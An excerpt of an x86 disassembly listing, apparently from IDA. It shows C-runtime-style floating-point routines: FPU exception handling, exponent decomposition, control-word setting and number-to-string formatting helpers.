; sub_417779+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_417EA7
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_41F178 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_4179A0
and dword ptr [esi], 0FFFFFFFEh
loc_4179A0: ; CODE XREF: sub_417779+222j
test byte ptr [eax+8], 8
jz short loc_4179A9
and dword ptr [esi], 0FFFFFFFBh
loc_4179A9: ; CODE XREF: sub_417779+22Bj
test byte ptr [eax+8], 4
jz short loc_4179B2
and dword ptr [esi], 0FFFFFFF7h
loc_4179B2: ; CODE XREF: sub_417779+234j
test byte ptr [eax+8], 2
jz short loc_4179BB
and dword ptr [esi], 0FFFFFFEFh
loc_4179BB: ; CODE XREF: sub_417779+23Dj
test [eax+8], bl
jz short loc_4179C3
and dword ptr [esi], 0FFFFFFDFh
loc_4179C3: ; CODE XREF: sub_417779+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_4179F7
dec ecx
jz short loc_4179EB
dec ecx
jz short loc_4179E1
dec ecx
jnz short loc_4179F9
or byte ptr [esi+1], 0Ch
jmp short loc_4179F9
; ---------------------------------------------------------------------------
loc_4179E1: ; CODE XREF: sub_417779+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_4179F3
; ---------------------------------------------------------------------------
loc_4179EB: ; CODE XREF: sub_417779+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_4179F3: ; CODE XREF: sub_417779+270j
mov [esi], ecx
jmp short loc_4179F9
; ---------------------------------------------------------------------------
loc_4179F7: ; CODE XREF: sub_417779+257j
and [esi], edx
loc_4179F9: ; CODE XREF: sub_417779+260j
; sub_417779+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_417A19
dec ecx
jz short loc_417A10
dec ecx
jnz short loc_417A22
and [esi], edx
jmp short loc_417A22
; ---------------------------------------------------------------------------
loc_417A10: ; CODE XREF: sub_417779+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_417A20
; ---------------------------------------------------------------------------
loc_417A19: ; CODE XREF: sub_417779+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_417A20: ; CODE XREF: sub_417779+29Ej
mov [esi], ecx
loc_417A22: ; CODE XREF: sub_417779+291j
; sub_417779+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_417779 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417A2C proc near ; CODE XREF: sub_4176E1+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_417A57
test byte ptr [ebp+arg_8], bl
jz short loc_417A57
push ebx
call sub_417ED9
pop ecx
and edi, 0FFFFFFF7h
jmp loc_417C21
; ---------------------------------------------------------------------------
loc_417A57: ; CODE XREF: sub_417A2C+15j
; sub_417A2C+1Aj
test al, 4
jz short loc_417A71
test byte ptr [ebp+arg_8], 4
jz short loc_417A71
push 4
call sub_417ED9
pop ecx
and edi, 0FFFFFFFBh
jmp loc_417C21
; ---------------------------------------------------------------------------
loc_417A71: ; CODE XREF: sub_417A2C+2Dj
; sub_417A2C+33j
test al, bl
jz loc_417B4B
test byte ptr [ebp+arg_8], 8
jz loc_417B4B
push 8
call sub_417ED9
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_417B23
cmp ecx, 400h
jz short loc_417AFB
cmp ecx, 800h
jz short loc_417AD3
cmp ecx, eax
jnz loc_417B43
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41F7A8
fld ds:dbl_42D3F8
fnstsw ax
sahf
ja short loc_417ACB
fchs
loc_417ACB: ; CODE XREF: sub_417A2C+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417AD3: ; CODE XREF: sub_417A2C+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41F7A8
fnstsw ax
sahf
jbe short loc_417AEB
fld ds:dbl_42D3E8
jmp short loc_417AF3
; ---------------------------------------------------------------------------
loc_417AEB: ; CODE XREF: sub_417A2C+B5j
fld ds:dbl_42D3F8
fchs
loc_417AF3: ; CODE XREF: sub_417A2C+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417AFB: ; CODE XREF: sub_417A2C+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41F7A8
fnstsw ax
sahf
jbe short loc_417B13
fld ds:dbl_42D3F8
jmp short loc_417B1B
; ---------------------------------------------------------------------------
loc_417B13: ; CODE XREF: sub_417A2C+DDj
fld ds:dbl_42D3E8
fchs
loc_417B1B: ; CODE XREF: sub_417A2C+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_417B41
; ---------------------------------------------------------------------------
loc_417B23: ; CODE XREF: sub_417A2C+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_41F7A8
fld ds:dbl_42D3E8
fnstsw ax
sahf
ja short loc_417B3B
fchs
loc_417B3B: ; CODE XREF: sub_417A2C+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_417B41: ; CODE XREF: sub_417A2C+A5j
; sub_417A2C+CDj ...
fstp qword ptr [ecx]
loc_417B43: ; CODE XREF: sub_417A2C+81j
and edi, 0FFFFFFFEh
jmp loc_417C21
; ---------------------------------------------------------------------------
loc_417B4B: ; CODE XREF: sub_417A2C+47j
; sub_417A2C+51j
test al, 2
jz loc_417C21
test byte ptr [ebp+arg_8], 10h
jz loc_417C21
push esi
xor esi, esi
test al, 10h
jz short loc_417B66
mov esi, ebx
loc_417B66: ; CODE XREF: sub_417A2C+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp ds:dbl_41F7A8
fnstsw ax
sahf
jz loc_417C0F
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_417DD8
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_417BB1
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_417C05
; ---------------------------------------------------------------------------
loc_417BB1: ; CODE XREF: sub_417A2C+17Aj
fld [ebp+var_C]
fcomp ds:dbl_41F7A8
fnstsw ax
sahf
jnb short loc_417BC3
mov edx, ebx
jmp short loc_417BC5
; ---------------------------------------------------------------------------
loc_417BC3: ; CODE XREF: sub_417A2C+191j
xor edx, edx
loc_417BC5: ; CODE XREF: sub_417A2C+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_417BF9
sub eax, ecx
loc_417BDC: ; CODE XREF: sub_417A2C+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_417BE7
test esi, esi
jnz short loc_417BE7
mov esi, ebx
loc_417BE7: ; CODE XREF: sub_417A2C+1B3j
; sub_417A2C+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_417BF3
or byte ptr [ebp+var_C+3], 80h
loc_417BF3: ; CODE XREF: sub_417A2C+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_417BDC
loc_417BF9: ; CODE XREF: sub_417A2C+1ACj
test edx, edx
jz short loc_417C05
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_417C05: ; CODE XREF: sub_417A2C+183j
; sub_417A2C+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_417C11
; ---------------------------------------------------------------------------
loc_417C0F: ; CODE XREF: sub_417A2C+14Ej
mov esi, ebx
loc_417C11: ; CODE XREF: sub_417A2C+1E1j
test esi, esi
pop esi
jz short loc_417C1E
push 10h
call sub_417ED9
pop ecx
loc_417C1E: ; CODE XREF: sub_417A2C+1E8j
and edi, 0FFFFFFFDh
loc_417C21: ; CODE XREF: sub_417A2C+26j
; sub_417A2C+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_417C38
test byte ptr [ebp+arg_8], 20h
jz short loc_417C38
push 20h
call sub_417ED9
pop ecx
and edi, 0FFFFFFEFh
loc_417C38: ; CODE XREF: sub_417A2C+1F9j
; sub_417A2C+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_417A2C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417C43(int, int, int, int, int, int, double, int)
sub_417C43 proc near ; CODE XREF: sub_41768E+2Bp
; sub_4176E1+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_417CF1
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_417CAE
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_417EB6
lea eax, [ebp+var_20]
push eax
call sub_41B8A3
add esp, 0Ch
test eax, eax
jnz short loc_417CA8
push esi
call sub_417CCB
pop ecx
loc_417CA8: ; CODE XREF: sub_417C43+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_417CAE: ; CODE XREF: sub_417C43+14j
push 0FFFFh
push [ebp+arg_20]
call sub_417EB6
push [ebp+arg_0]
call sub_417CCB
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_417C43 endp
; =============== S U B R O U T I N E =======================================
sub_417CCB proc near ; CODE XREF: sub_4176E1+7Dp
; sub_417C43+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_417CE6
jle short locret_417CF0
cmp eax, 3
jg short locret_417CF0
mov ds:dword_45E804, 22h
retn
; ---------------------------------------------------------------------------
loc_417CE6: ; CODE XREF: sub_417CCB+7j
mov ds:dword_45E804, 21h
locret_417CF0: ; CODE XREF: sub_417CCB+9j
; sub_417CCB+Ej
retn
sub_417CCB endp
; =============== S U B R O U T I N E =======================================
sub_417CF1 proc near ; CODE XREF: sub_417C43+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_42D310
loc_417CF8: ; CODE XREF: sub_417CF1+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_417D0E
add eax, 8
inc ecx
cmp eax, offset dbl_42D3E8
jl short loc_417CF8
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_417D0E: ; CODE XREF: sub_417CF1+Dj
mov eax, ds:off_42D314[ecx*8]
retn
sub_417CF1 endp
; =============== S U B R O U T I N E =======================================
sub_417D16 proc near ; CODE XREF: sub_4176E1+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_417D22
push 5
jmp short loc_417D38
; ---------------------------------------------------------------------------
loc_417D22: ; CODE XREF: sub_417D16+6j
test al, 8
jz short loc_417D2A
push 1
jmp short loc_417D38
; ---------------------------------------------------------------------------
loc_417D2A: ; CODE XREF: sub_417D16+Ej
test al, 4
jz short loc_417D32
push 2
jmp short loc_417D38
; ---------------------------------------------------------------------------
loc_417D32: ; CODE XREF: sub_417D16+16j
test al, 1
jz short loc_417D3A
push 3
loc_417D38: ; CODE XREF: sub_417D16+Aj
; sub_417D16+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_417D3A: ; CODE XREF: sub_417D16+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_417D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417D43(double)
sub_417D43 proc near ; CODE XREF: sub_413F02:loc_413F88p
; sub_41404B:loc_4140D1p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_417D43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417D55(double, int)
sub_417D55 proc near ; CODE XREF: sub_417DD8+82p
; sub_417DD8+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_417D55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417D7E proc near ; CODE XREF: sub_413F02+31p
; sub_41404B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_417D95
cmp [ebp+arg_0], edx
jnz short loc_417DA7
push 1
jmp short loc_417DD1
; ---------------------------------------------------------------------------
loc_417D95: ; CODE XREF: sub_417D7E+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_417DA7
cmp [ebp+arg_0], edx
jnz short loc_417DA7
push 2
jmp short loc_417DD1
; ---------------------------------------------------------------------------
loc_417DA7: ; CODE XREF: sub_417D7E+11j
; sub_417D7E+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_417DBA
push 3
jmp short loc_417DD1
; ---------------------------------------------------------------------------
loc_417DBA: ; CODE XREF: sub_417D7E+36j
cmp cx, 7FF0h
jnz short loc_417DD4
test [ebp+arg_4], 7FFFFh
jnz short loc_417DCF
cmp [ebp+arg_0], edx
jz short loc_417DD4
loc_417DCF: ; CODE XREF: sub_417D7E+4Aj
push 4
loc_417DD1: ; CODE XREF: sub_417D7E+15j
; sub_417D7E+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_417DD4: ; CODE XREF: sub_417D7E+41j
; sub_417D7E+4Fj
xor eax, eax
pop ebp
retn
sub_417D7E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417DD8(double, int)
sub_417DD8 proc near ; CODE XREF: sub_417A2C+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp ds:dbl_41F7A8
push esi
fnstsw ax
sahf
jnz short loc_417DF8
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_417E8E
; ---------------------------------------------------------------------------
loc_417DF8: ; CODE XREF: sub_417DD8+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_417E67
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_417E10
cmp dword ptr [ebp+arg_0], ecx
jz short loc_417E67
loc_417E10: ; CODE XREF: sub_417DD8+31j
fld [ebp+arg_0]
fcomp ds:dbl_41F7A8
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_417E28
push 1
pop eax
jmp short loc_417E2A
; ---------------------------------------------------------------------------
loc_417E28: ; CODE XREF: sub_417DD8+49j
xor eax, eax
loc_417E2A: ; CODE XREF: sub_417DD8+4Ej
; sub_417DD8+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_417E43
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_417E3D
or dword ptr [ebp+arg_0+4], 1
loc_417E3D: ; CODE XREF: sub_417DD8+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_417E2A
; ---------------------------------------------------------------------------
loc_417E43: ; CODE XREF: sub_417DD8+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_417E51
or byte ptr [ebp+arg_0+7], 80h
loc_417E51: ; CODE XREF: sub_417DD8+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_417D55
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_417E8E
; ---------------------------------------------------------------------------
loc_417E67: ; CODE XREF: sub_417DD8+28j
; sub_417DD8+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_417D55
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_417E8E: ; CODE XREF: sub_417DD8+1Bj
; sub_417DD8+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_417DD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E99 proc near ; CODE XREF: sub_417779+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_417E99 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EA7 proc near ; CODE XREF: sub_417779+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_417EA7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EB6 proc near ; CODE XREF: sub_413F02+13p
; sub_413F02+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_417EB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417ED9 proc near ; CODE XREF: sub_417A2C+1Dp
; sub_417A2C+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_417EF0
fld ds:tbyte_42D410
fistp [ebp+arg_0]
wait
loc_417EF0: ; CODE XREF: sub_417ED9+Bj
test cl, 8
jz short loc_417F05
fstsw ax
fld ds:tbyte_42D410
fstp [ebp+var_8]
wait
fstsw ax
loc_417F05: ; CODE XREF: sub_417ED9+1Aj
test cl, 10h
jz short loc_417F14
fld ds:tbyte_42D41C
fstp [ebp+var_8]
wait
loc_417F14: ; CODE XREF: sub_417ED9+2Fj
test cl, 4
jz short loc_417F22
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_417F22: ; CODE XREF: sub_417ED9+3Ej
test cl, 20h
jz short locret_417F2D
fldpi
fstp [ebp+var_8]
wait
locret_417F2D: ; CODE XREF: sub_417ED9+4Cj
leave
retn
sub_417ED9 endp
; =============== S U B R O U T I N E =======================================
sub_417F2F proc near ; CODE XREF: sub_413FD1+Fp
push 30000h
push 10000h
call sub_41B8DB
pop ecx
pop ecx
retn
sub_417F2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417F41 proc near ; CODE XREF: sub_417F7F:loc_417FA3j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld ds:dbl_41F7B8
fstp [ebp+var_8]
fld ds:dbl_41F7B0
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp ds:dbl_41F668
fnstsw ax
sahf
jbe short loc_417F7B
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_417F7B: ; CODE XREF: sub_417F41+33j
xor eax, eax
leave
retn
sub_417F41 endp
; =============== S U B R O U T I N E =======================================
sub_417F7F proc near ; CODE XREF: sub_413FD1+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 0A70000h
and eax, 1574C085h
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call ds:dword_41F0B0
test eax, eax
jz short loc_417FA3
push 0
call eax
retn
; ---------------------------------------------------------------------------
loc_417FA3: ; CODE XREF: sub_417F7F+1Dj
jmp sub_417F41
sub_417F7F endp
; =============== S U B R O U T I N E =======================================
sub_417FA8 proc near ; DATA XREF: sub_413FE9+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_415223
cmp eax, 65h
pop ecx
jz short loc_417FE8
loc_417FBC: ; CODE XREF: sub_417FA8+3Ej
inc esi
cmp ds:dword_42D2FC, 1
jle short loc_417FD5
movsx eax, byte ptr [esi]
push 4
push eax
call sub_4165E6
pop ecx
pop ecx
jmp short loc_417FE4
; ---------------------------------------------------------------------------
loc_417FD5: ; CODE XREF: sub_417FA8+1Cj
movsx eax, byte ptr [esi]
mov ecx, ds:off_42D0F0
mov al, [ecx+eax*2]
and eax, 4
loc_417FE4: ; CODE XREF: sub_417FA8+2Bj
test eax, eax
jnz short loc_417FBC
loc_417FE8: ; CODE XREF: sub_417FA8+12j
mov cl, ds:byte_42D300
mov al, [esi]
mov [esi], cl
inc esi
loc_417FF3: ; CODE XREF: sub_417FA8+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_417FF3
pop esi
retn
sub_417FA8 endp
; ---------------------------------------------------------------------------
loc_418002: ; DATA XREF: sub_413FE9+5o
mov eax, [esp+4]
mov dl, ds:byte_42D300
mov cl, [eax]
test cl, cl
jz short loc_41801E
loc_418012: ; CODE XREF: seg000:0041801Cj
cmp cl, dl
jz short loc_41801E
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_418012
loc_41801E: ; CODE XREF: seg000:00418010j
; seg000:00418014j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41804F
loc_418025: ; CODE XREF: seg000:00418036j
mov cl, [eax]
test cl, cl
jz short loc_418038
cmp cl, 65h
jz short loc_418038
cmp cl, 45h
jz short loc_418038
inc eax
jmp short loc_418025
; ---------------------------------------------------------------------------
loc_418038: ; CODE XREF: seg000:00418029j
; seg000:0041802Ej ...
mov ecx, eax
loc_41803A: ; CODE XREF: seg000:0041803Ej
dec eax
cmp byte ptr [eax], 30h
jz short loc_41803A
cmp [eax], dl
jnz short loc_418045
dec eax
loc_418045: ; CODE XREF: seg000:00418042j
; seg000:0041804Dj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_418045
locret_41804F: ; CODE XREF: seg000:00418023j
retn
; ---------------------------------------------------------------------------
loc_418050: ; DATA XREF: sub_413FE9+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp ds:dbl_41F7A8
fnstsw ax
sahf
jb short loc_418065
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_418065: ; CODE XREF: seg000:0041805Fj
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418068 proc near ; DATA XREF: sub_413FE9+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_418091
lea eax, [ebp+var_8]
push eax
call sub_41BD9E
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_418091: ; CODE XREF: sub_418068+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41BDCB
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_418068 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180A6 proc near ; CODE XREF: sub_418323+17p
; sub_41836D+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp ds:byte_45E870, 0
push ebx
push esi
jz short loc_4180DB
mov ebx, [ebp+arg_8]
mov eax, ds:dword_45E86C
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_4183BE
pop ecx
pop ecx
jmp short loc_418113
; ---------------------------------------------------------------------------
loc_4180DB: ; CODE XREF: sub_4180A6+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41BE6F
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41BDF8
add esp, 14h
loc_418113: ; CODE XREF: sub_4180A6+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41811F
mov byte ptr [eax], 2Dh
inc eax
loc_41811F: ; CODE XREF: sub_4180A6+73j
test ebx, ebx
jle short loc_418137
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, ds:byte_42D300
mov eax, edi
pop edi
mov [eax], cl
loc_418137: ; CODE XREF: sub_4180A6+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp ds:byte_45E870, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_413CC0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41815E
mov byte ptr [ecx], 45h
loc_41815E: ; CODE XREF: sub_4180A6+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_4181A3
mov ebx, [esi+4]
dec ebx
jns short loc_418172
neg ebx
mov byte ptr [ecx], 2Dh
loc_418172: ; CODE XREF: sub_4180A6+C5j
inc ecx
cmp ebx, 64h
jl short loc_418189
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_418189: ; CODE XREF: sub_4180A6+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_4181A0
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_4181A0: ; CODE XREF: sub_4180A6+E7j
add [ecx+1], bl
loc_4181A3: ; CODE XREF: sub_4180A6+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_4180A6 endp
; =============== S U B R O U T I N E =======================================
sub_4181AA proc near ; CODE XREF: sub_41834A+13p
; sub_41836D+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp ds:byte_45E870, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_4181E5
mov eax, ds:dword_45E874
mov ebx, [esp+10h+arg_8]
mov esi, ds:dword_45E86C
cmp eax, ebx
jnz short loc_418215
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
